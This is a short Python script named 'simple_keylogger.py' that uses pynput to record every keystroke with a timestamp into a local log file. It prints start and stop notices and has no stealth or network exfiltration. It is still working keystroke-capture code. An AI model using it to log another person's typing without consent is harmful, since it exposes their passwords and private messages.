**simple_keylogger.py**

```python
from pynput import keyboard
import logging
import os

# Set log file path
log_file = "keylog.txt"

# Configure logging
logging.basicConfig(filename=log_file,
                    level=logging.DEBUG,
                    format='%(asctime)s: %(message)s')

def on_press(key):
    try:
        logging.info(f'Key pressed: {key.char}')
    except AttributeError:
        logging.info(f'Special key pressed: {key}')

def main():
    print("🔑 Simple Keylogger Started...")
    print(f"🔒 Logging keys to: {os.path.abspath(log_file)}")
    print("⚠️ Press Ctrl+C in the terminal to stop.")

    # Start listening to the keyboard
    with keyboard.Listener(on_press=on_press) as listener:
        listener.join()

if __name__ == "__main__":
    main()
```